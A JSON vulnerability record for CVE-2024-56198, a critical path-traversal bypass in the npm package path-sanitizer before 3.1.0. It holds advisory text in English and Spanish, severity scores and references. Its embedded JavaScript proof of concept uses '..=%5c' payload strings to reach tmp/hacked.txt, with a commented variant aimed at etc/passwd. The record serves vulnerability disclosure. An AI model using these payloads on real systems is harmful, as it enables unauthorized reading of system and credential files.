{"id":"CVE-2024-56198","aliases":["CVE-2024-56198","GHSA-94p5-r7cc-3rpr"],"related":[],"kind":"vulnerability","state":"published","title":"path-sanitizer allows bypassing the existing filters to achieve path-traversal vulnerability","summary":"path-sanitizer is a simple lightweight npm package for sanitizing paths to prevent Path Traversal. Prior to 3.1.0, the filters can be bypassed using .=%5c which results in a path traversal. This vulnerability is fixed in 3.1.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"path-sanitizer is a simple lightweight npm package for sanitizing paths to prevent Path Traversal. Prior to 3.1.0, the filters can be bypassed using .=%5c which results in a path traversal. This vulnerability is fixed in 3.1.0.","source":"cvelist"},{"lang":"en","text":"### Summary\nThis is a POC for a path-sanitizer [npm package](https://www.npmjs.com/package/path-sanitizer). The filters can be bypassed and can result in path traversal.\n\nPayload: `..=%5c` can be used to bypass this on CLI (along with other candidates). Something similar would likely work on web apps as well. \n\n### PoC\nHere's the code to test for the filter bypass:\n\n```js\nconst sanitize = require(\"path-sanitizer\")\nconst path = require(\"path\")\nconst fs = require(\"fs\")\n\n// Real scenario:\nfunction routeHandler(myPath) {\n  // Lets just assume that the path was extracted from the request\n  // We want to read a file in the C:\\Users\\user\\Desktop\\myApp\\ directory\n  // But the user should be able to access C:\\Users\\user\\Desktop\\\n  // So we need to sanitize the path\n\n  const APP_DIR = \"/var/hacker\"\n  const sanitized = path.join(APP_DIR, sanitize(myPath))\n\n  // Now we would usally read the file\n  // But in this case we just gonna print the path\n  // console.log(sanitized)\n  return sanitized\n}\n\nfunction readFile(filePath) {\n  const absolutePath = path.resolve(filePath) // Resolve to absolute path\n\n  fs.readFile(absolutePath, \"utf8\", (err, data) => {\n    if (err) {\n      console.error(`Error reading the file: ${err.message}`)\n      return\n    }\n    console.log(`Contents of the file ${filePath} :\\n${data}`)\n  })\n}\n\ninput_user_bypass = \"..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c..=%5ctmp/hacked.txt\"\n// input_user_bypass = \"..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c..=%5cetc/passwd\"\ninput_user_payload = \"../../../../../../../../tmp/hacked.txt\"\n\nreadFile(routeHandler(input_user_bypass))\nreadFile(routeHandler(input_user_payload))\n```\n\nHere is a video POC: (this is a Loom POC, only users with the UUID of the video can see it) \n\nhttps://www.loom.com/share/b766ece5193842848ce7562fcd559256?sid=fd826eb6-0eee-4601-bf0e-9cfee5c56e9d\n\n### Impact\nAny CLI tool or library using this package can be/will be vulnerable to Path traversal.","format":"markdown","source":"ghsa"},{"lang":"es","text":"path-sanitizer es un paquete npm simple y liviano para desinfectar rutas y evitar Path Traversal. Antes de la versión 3.1.0, los filtros se pueden omitir usando .=%5c, lo que da como resultado Path Traversal. Esta vulnerabilidad se solucionó en la versión 3.1.0.","source":"nvd"}],"published":"2024-12-31T15:18:12.330Z","modified":"2026-06-17T08:11:50.033Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":9.3,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":9.3,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","rating":"CRITICAL"}],"cwes":["CWE-22"],"affected":[{"ranges":[{"version":"< 3.1.0","status":"affected"}],"vendor":"cabraviva","product":"path-sanitizer","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"3.1.0"}],"ecosystem":"npm","package":"path-sanitizer","purl":"pkg:npm/path-sanitizer","source":"ghsa"}],"references":[{"url":"https://github.com/cabraviva/path-sanitizer/security/advisories/GHSA-94p5-r7cc-3rpr","tags":["web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/cabraviva/path-sanitizer/commit/b6d2319eac910dffdfacc8460f5b5cc5a1518ead","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://www.loom.com/share/b766ece5193842848ce7562fcd559256?sid=fd826eb6-0eee-4601-bf0e-9cfee5c56e9d","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-56198","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/cabraviva/path-sanitizer","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2024-12-31T15:50:41.034Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-56198","url":"https://www.cve.org/CVERecord?id=CVE-2024-56198","licence":"CVE Terms of Use","modified":"2024-12-31T15:50:50.732Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-94p5-r7cc-3rpr","url":"https://github.com/advisories/GHSA-94p5-r7cc-3rpr","licence":"CC-BY-4.0","modified":"2025-01-02T13:12:11.215Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-56198","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-56198","licence":"Public domain","modified":"2026-06-17T08:11:50.033Z"}],"updatedAt":"2026-11-25T22:58:50.614Z","epss":{"score":0.00743,"percentile":0.5594,"date":"2026-12-01T12:00:22.000Z"}}